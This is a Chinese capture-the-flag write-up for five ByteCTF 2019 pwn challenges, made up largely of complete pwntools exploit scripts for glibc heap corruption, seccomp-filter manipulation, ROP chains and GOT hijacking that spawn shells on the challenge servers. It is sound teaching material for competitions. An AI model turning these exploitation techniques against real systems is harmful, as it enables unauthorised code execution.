源程序下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/byte_ctf_2019/pwn。
目录
PWN
Mulnote
void __fastcall start_routine(void *a1)
{
free(ptr[(_QWORD)a1]);
sleep(10u);
ptr[(_QWORD)a1] = 0LL;
}
简单的UAF
漏洞,虽然对程序流进行了混淆,但是并不影响做题。
思路
- 泄露libc信息
- 劫持hook
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './mulnote'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('112.126.101.96', 9999)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def Create(size, content):
sh.sendafter('>', 'C\0')
sh.sendlineafter('size>', str(size))
sh.sendafter('note>', content)
def Remove(index):
sh.sendafter('>', 'R\0')
sh.sendlineafter('index>', str(index))
def Edit(index, content):
sh.sendafter('>', 'E\0')
sh.sendlineafter('index>', str(index))
sh.sendafter('new ', content)
def Show():
sh.sendafter('>', 'S\0')
# sh.sendafter('>', 'XxXxBbBb\0')
Create(0x98, '\n')
Create(0x68, '\n')
Create(0x68, '\n')
Remove(0)
Show()
sh.recvuntil('note[0]:\n')
result = sh.recvuntil('\n', drop=True)
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))
Remove(2)
Remove(1)
Edit(1, p64(main_arena_addr - 0x33))
Create(0x68, '/bin/sh\0')
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
Create(0x68, 'z' * 0x13 + p64(libc_addr + 0x4526a))
sh.sendafter('>', 'C\0')
sh.sendlineafter('size>', str(1))
sh.interactive()
clear()
VIP
void __fastcall edit(unsigned int index)
{
int v1; // [rsp+14h] [rbp-Ch]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( index <= 0xF )
{
if ( ptr[index] )
{
printf("Size: ");
__isoc99_scanf("%u", &v1);
printf("Content: ", &v1);
read_n(ptr[index], v1);
puts("Done!\n");
}
}
}
void __fastcall read_n(void *a1, int a2)
{
int fd; // [rsp+1Ch] [rbp-4h]
if ( dword_4040E0 )
{
read(0, a1, a2);
}
else
{
fd = open("/dev/urandom", 0);
if ( fd == -1 )
exit(0);
read(fd, a1, a2);
}
}
该题难点主要是绕过edit
功能。而且在下面的函数中,恰好栈溢出使得我们可以配置沙箱规则。
void __cdecl become_vip()
{
__int16 v0; // [rsp+0h] [rbp-90h]
char *v1; // [rsp+8h] [rbp-88h]
char buf[32]; // [rsp+10h] [rbp-80h]
char v3[88]; // [rsp+30h] [rbp-60h]
unsigned __int64 v4; // [rsp+88h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("OK, but before you become vip, please tell us your name: ");
...
read(0, buf, 80uLL);
printf("Hello, %s\n", buf);
v0 = 11;
v1 = v3;
if ( prctl(38, 1LL, 0LL, 0LL, 0LL, *(_QWORD *)&v0, v3) < 0 )
{
perror("prctl(PR_SET_NO_NEW_PRIVS)");
exit(2);
}
if ( prctl(22, 2LL, &v0) < 0 )
{
perror("prctl(PR_SET_SECCOMP)");
exit(2);
}
}
溢出了48
个字节,可以配置6条规则,已经足够了。
在open
函数中会调用sys_openat
,我们只要让其返回0,这样就可以直接读取输入流了。沙箱规则如下:
struct sock_filter filter[] = {
BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0),
BPF_JUMP(BPF_JMP|BPF_JEQ, 257, 1, 0),
BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0),
BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO),
BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
};
由于关闭了sys_openat
,而且程序设置了子进程会继承沙箱规则,所以不能正常起shell,但是我们可以进行ROP读取flag。
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './vip'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('112.126.103.14', 9999)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x401898
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def alloc(index):
sh.sendlineafter('choice: ', '1')
sh.sendlineafter('Index: ', str(index))
def edit(index, size, content):
sh.sendlineafter('choice: ', '4')
sh.sendlineafter('Index: ', str(index))
sh.sendlineafter('Size: ', str(size))
sh.sendafter('Content: ', content)
def delete(index):
sh.sendlineafter('choice: ', '3')
sh.sendlineafter('Index: ', str(index))
def show(index):
sh.sendlineafter('choice: ', '2')
sh.sendlineafter('Index: ', str(index))
filter1 = ' \x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\x01\x01\x00\x005\x00\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f'
sh.sendlineafter('choice: ', '6')
sh.sendafter('name: ', 'a' * 32 + filter1)
for i in range(5):
alloc(i)
delete(2)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.symbols['stderr']))
alloc(1)
alloc(2)
show(2)
result = sh.recvuntil('\n', drop=True)
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['_IO_2_1_stderr_']
log.success('libc_addr: ' + hex(libc_addr))
delete(3)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(libc_addr + libc.symbols['environ']))
alloc(1)
alloc(2)
show(2)
result = sh.recvuntil('\n', drop=True)
stack_addr = u64(result.ljust(8, '\0'))
log.success('stack_addr: ' + hex(stack_addr))
delete(4)
delete(1)
edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(stack_addr - 0xf8))
alloc(1)
alloc(2)
layout = [
0x0000000000401016, # ret
0x0000000000401016, # ret
0x0000000000401016, # ret
0x0000000000401016, # ret
0x00000000004018fb, # : pop rdi ; ret
stack_addr - 0xf8 + 0x100,
0x00000000004018f9, # : pop rsi ; pop r15 ; ret
0,
0,
libc_addr + 0x00000000000439c8, # : pop rax ; ret
2, # sys_open
libc_addr + 0x00000000000d2975, # : syscall ; ret
0x00000000004018fb, # : pop rdi ; ret
3,
0x00000000004018f9, # : pop rsi ; pop r15 ; ret
0x404800,
0,
libc_addr + 0x0000000000001b96, # : pop rdx ; ret
0x100,
elf.plt['read'],
0x00000000004018fb, # : pop rdi ; ret
0x404800,
elf.plt['puts'],
elf.plt['exit'],
]
edit(2, 0x200, flat(layout).ljust(0x100, '\0') + 'flag\0')
sh.sendlineafter('choice: ', '5')
sh.interactive()
clear()
notefive
void __fastcall read_n(char *str, signed int size, char end)
{
char _end; // [rsp+0h] [rbp-20h]
char buf; // [rsp+13h] [rbp-Dh]
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
_end = end;
v6 = __readfsqword(0x28u);
for ( i = 0; i <= size; ++i )
{
if ( (signed int)read(0, &buf, 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( buf == _end )
break;
str[i] = buf;
}
}
off by one
漏洞,难点在于其对于size的限制:
void __cdecl New()
{
int index; // [rsp+8h] [rbp-8h]
int size; // [rsp+Ch] [rbp-4h]
printf("idx: ");
index = get_int();
if ( index >= 0 && index <= 4 )
{
printf("size: ");
size = get_int();
if ( size > 0x8F && size <= 0x400 )
{
ptr[index] = malloc(size);
ptr_size[index] = size;
}
else
{
puts("size error");
}
}
else
{
puts("idx error");
}
}
对于我们来说fastbin
还是更好用的,所以先用unsorted bin attack
修改global_max_fast
,使得fastbin可以使用。
New(0, 0x98)
New(1, 0x98)
New(2, 0x98)
New(3, 0x98)
delete(0)
edit(1, 'a' * 0x90 + p64(0x140) + p8(0xa0))
delete(2)
New(0, 0xe8)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(0) + p16(0x37f8 - 0x10) + '\n')
New(4, 0xe8)
然后就是修改stdout
结构体,虽然size
被限制为size > 0x8F && size <= 0x400
,但是原有的fastbin attack
依然可以使用,我们可以利用stderr
当中的0xffffffffffffffff
进行偏移来伪造size。
pwndbg> x/16gx 0x7ffff7dd25c0
0x7ffff7dd25c0 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007ffff7dd3770
0x7ffff7dd25d0 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd25e0 <_IO_2_1_stderr_+160>: 0x00007ffff7dd1660 0x0000000000000000
0x7ffff7dd25f0 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007ffff7dd06e0
0x7ffff7dd2620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7dd26a3
0x7ffff7dd2630 <_IO_2_1_stdout_+16>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
pwndbg> x/16gx 0x7ffff7dd25c0-1-8
0x7ffff7dd25b7 <_IO_2_1_stderr_+119>: 0xffffffffffffff00 0x00000000000000ff
0x7ffff7dd25c7 <_IO_2_1_stderr_+135>: 0x007ffff7dd377000 0xffffffffffffff00
0x7ffff7dd25d7 <_IO_2_1_stderr_+151>: 0x00000000000000ff 0x007ffff7dd166000
0x7ffff7dd25e7 <_IO_2_1_stderr_+167>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd25f7 <_IO_2_1_stderr_+183>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2607 <_IO_2_1_stderr_+199>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2617 <_IO_2_1_stderr_+215>: 0x007ffff7dd06e000 0x000000fbad288700
0x7ffff7dd2627 <_IO_2_1_stdout_+7>: 0x007ffff7dd26a300 0x007ffff7dd26a300
这样我们就有了一个0x00000000000000ff
的size。 具体脚本如下:
delete(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p16(0x25cf) + '\n')
New(4, 0xe8)
New(0, 0xe8)
edit(0, 'b' * 0x41 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + p8(0x88) + '\n')
result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))
最后就是劫持hook,由于__malloc_hook
前面有stdin
,其内部恰好也有0xffffffffffffffff
,继续进行fastbin attack
,但是其不能修改到__malloc_hook
,但是我们可以fastbin attack
接力,在中途写下一个0xf1
的size,然后继续fastbin attack
,这样就能修改到__malloc_hook
。
delete(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc_addr + libc.symbols['_IO_2_1_stdin_'] + 143) + '\n')
New(4, 0xe8)
New(0, 0xe8)
edit(0, '\0' * 0xe1 + p32(0xf1) + '\n')
delete(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc_addr + libc.symbols['_IO_2_1_stdin_'] + 376) + '\n')
New(4, 0xe8)
New(0, 0xe8)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
edit(0, '\0' * 0xa0 + p64(libc_addr + 0x4526a) + p64(libc_addr + libc.symbols['realloc'] + 13) + '\n')
# pause()
New(0, 0xe8)
sh.sendline('cat flag')
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './note_five'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('112.126.103.195', 9999)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
def pr
x/5gx $rebase(0x202080)
end
b malloc
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def New(index, size):
sh.sendlineafter('>> ', '1')
sh.sendlineafter('idx: ', str(index))
sh.sendlineafter('size: ', str(size))
def edit(index, content):
sh.sendlineafter('>> ', '2')
sh.sendlineafter('idx: ', str(index))
sh.sendafter('content: ', content)
def delete(index):
sh.sendlineafter('>> ', '3')
sh.sendlineafter('idx: ', str(index))
New(0, 0x98)
New(1, 0x98)
New(2, 0x98)
New(3, 0x98)
delete(0)
edit(1, 'a' * 0x90 + p64(0x140) + p8(0xa0))
delete(2)
New(0, 0xe8)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(0) + p16(0x37f8 - 0x10) + '\n')
New(4, 0xe8)
delete(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p16(0x25cf) + '\n')
New(4, 0xe8)
New(0, 0xe8)
edit(0, 'b' * 0x41 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + p8(0x88) + '\n')
result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))
delete(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc_addr + libc.symbols['_IO_2_1_stdin_'] + 143) + '\n')
New(4, 0xe8)
New(0, 0xe8)
edit(0, '\0' * 0xe1 + p32(0xf1) + '\n')
delete(4)
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc_addr + libc.symbols['_IO_2_1_stdin_'] + 376) + '\n')
New(4, 0xe8)
New(0, 0xe8)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
edit(0, '\0' * 0xa0 + p64(libc_addr + 0x4526a) + p64(libc_addr + libc.symbols['realloc'] + 13) + '\n')
# pause()
New(0, 0xe8)
sh.sendline('cat flag')
sh.interactive()
clear()
mheap
靶机环境是 glibc-2.27 。
void __fastcall read_n(char *str, signed int length)
{
signed int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
v2 = 0;
do
{
if ( v2 >= length )
break;
v3 = read(0, &str[v2], length - v2);
if ( !v3 )
exit(0);
v2 += v3;
}
while ( str[v2 - 1] != 10 );
}
原先从没见过这种类型,原本read_n
读取的字节数是锁死的,但是我们可以read
到那0x1000
内存的边缘,并且让其溢出,由于read
使用的是系统调用,所以程序并不会因为错误内存引用而crash
,最后read
返回标志错误的-1
,当返回-1
之后,v2就会变小,这样我们就可以向上溢出了。
思路
- 利用
read
的边缘操作向上溢出该free_list
的next
指针,使其指向got表
- 劫持got
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
typedef struct Link{
int size;
struct Link *next;
}Link;
Link no_use;
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './mheap'
sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
set $l = 0x4040c0
set $f = (Link **)0x4040d0
def fs
set $t = *$f
while $t
p $t
p *$t
set $t=$t->next
end
end
def pr
x/4gx $l
x/4gx (0x4040E0)
end
b *0x4011EA
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def alloc(index, size, content):
sh.sendlineafter(': ', '1')
sh.sendlineafter('Index: ', str(index))
sh.sendlineafter('size: ', str(size))
sh.sendafter('Content: ', content)
def edit(index, content):
sh.sendlineafter(': ', '4')
sh.sendlineafter('Index: ', str(index))
sh.send(content)
def delete(index):
sh.sendlineafter(': ', '3')
sh.sendlineafter('Index: ', str(index))
def show(index):
sh.sendlineafter(': ', '2')
sh.sendlineafter('Index: ', str(index))
alloc(0, 0xfc0, '\n')
alloc(1, 0x10, '\0' * 0x10)
delete(1)
alloc(2, 0x28, p64(0x4040d0) + '\0' * 0x1f + '\n')
alloc(3, 0x23330fd0 - 0x10, p64(elf.got['atoi']) + '\n')
show(0)
result = sh.recvuntil('\n', drop=True)
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['atoi']
log.success('libc_addr: ' + hex(libc_addr))
edit(0, p64(libc_addr + libc.symbols['system']) + '\n')
sh.sendline('/bin/sh\0')
sh.interactive()
clear()
ezarch
刚开始用heap overlap
来做,但是劫持了stdout
之后就再也不能free了,原因是glibc-2.27
的free会对地址进行对齐检查,所以偏移出来的size没有办法使用了。
看了W&M
的博客之后,才发现模拟的虚拟机,其本身对于ebp处理的就有问题。
v2 = a1->memory_size;
if ( v1 >= v2 || (unsigned int)a1->_esp >= a1->field_10 || v2 <= a1->_ebp )
memory_size
是用户可控的,栈大小是0x1000
,如果设置memory_size
大于0x100
就可以修改vm
的核心配置,比如stack_addr
,将其指向修改指向got表,然后直接修改got表。
由于只有第一次memory_size
可以自行设置,所以free.got
表还没有解析,可以用puts.got
来完成偏移计算。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './ezarch'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0xA6F)
b *$rebase(0xFB6)
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def set_env(malloc_size, edit_size, content, eip, esp, ebp):
sh.sendafter('>', 'M')
sh.sendlineafter('>', str(malloc_size))
sh.sendlineafter('>', str(edit_size))
sh.sendafter(')\n', content)
sh.sendlineafter('>', str(eip))
sh.sendlineafter('>', str(esp))
sh.sendlineafter('>', str(ebp))
layout = [
'/bin/sh\0',
# set stack_addr point to free.got
p8(3) + p8(0x20) + p32(0) + p32(17), # set r0 = stack_addr
p8(2) + p8(0x10) + p32(0) + p32(0xa8), # set r0 -= 0xa8
p8(3) + p8(0x02) + p32(17) + p32(0), # set stack_addr = r0
# modify free.got to system.got
p8(3) + p8(0x20) + p32(0) + p32(16), # set r0 = stack_addr[esp], esp=12 puts.got+4
p8(3) + p8(0x10) + p32(16) + p32(4), # set esp = 4 free.got+4
p8(3) + p8(0x02) + p32(16) + p32(0), # set stack_addr[esp] = r0, esp=4 free.got+4
p8(3) + p8(0x10) + p32(16) + p32(8), # set esp = 8 puts.got
p8(3) + p8(0x20) + p32(0) + p32(16), # set r0 = stack_addr[esp], esp=8 puts.got
p8(2) + p8(0x10) + p32(0) + p32(libc.symbols['puts'] - libc.symbols['system']), # set r0 -= (libc.symbols['puts'] - libc.symbols['system'])
p8(3) + p8(0x10) + p32(16) + p32(0), # set esp = 0 free.got
p8(3) + p8(0x02) + p32(16) + p32(0), # set stack_addr[esp] = r0, esp=0 free.got
]
payload = flat(layout)
set_env(0x1018, len(payload), payload, 8, 12, 0x1008)
sh.sendafter('>', 'R')
sh.sendafter('>', 'M')
sh.sendlineafter('>', str(1))
sh.interactive()
clear()